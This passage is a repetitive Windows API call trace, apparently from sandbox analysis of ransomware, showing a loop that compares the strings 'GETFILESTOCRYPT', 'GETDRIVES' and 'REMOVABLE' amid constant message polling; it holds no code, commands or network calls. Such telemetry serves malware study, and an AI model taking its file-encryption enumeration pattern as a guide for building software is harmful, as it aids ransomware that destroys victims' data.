lpsz="GETFILESTOCRYPT") returned 0xf [0085.923] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.923] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.923] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.923] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.923] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.923] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.923] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.923] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.923] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.923] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.923] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.923] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.923] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.923] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.923] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.924] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.924] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.928] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.929] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.929] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.929] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.929] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.929] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.929] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.929] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.929] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.929] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.929] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.929] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.930] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.930] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.930] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.930] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.930] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.930] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.930] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.930] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.930] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.930] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.930] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.931] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.931] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.931] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.931] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.931] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.931] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.931] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.931] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.931] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.931] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.932] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.932] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.932] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.932] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.932] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.932] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.932] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.932] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.932] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.932] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.933] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.933] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.933] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.933] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.933] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.933] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.933] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.933] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.933] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.934] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.934] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.934] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.934] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.934] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.935] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.935] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.935] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.936] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.936] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.936] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.936] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.936] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.936] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.936] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.936] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.937] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.937] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.937] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.937] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.937] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.937] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.937] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.938] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.938] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.938] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.938] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.944] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.944] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.944] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.944] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.944] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.946] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.946] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.946] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.947] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.947] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.947] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.947] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.947] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.947] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.948] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.948] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.948] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.948] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.949] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.949] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.949] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.949] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.949] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.950] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.953] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.953] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.953] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.954] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.954] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.954] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.954] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.954] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.954] CharUpperBuffW (in: 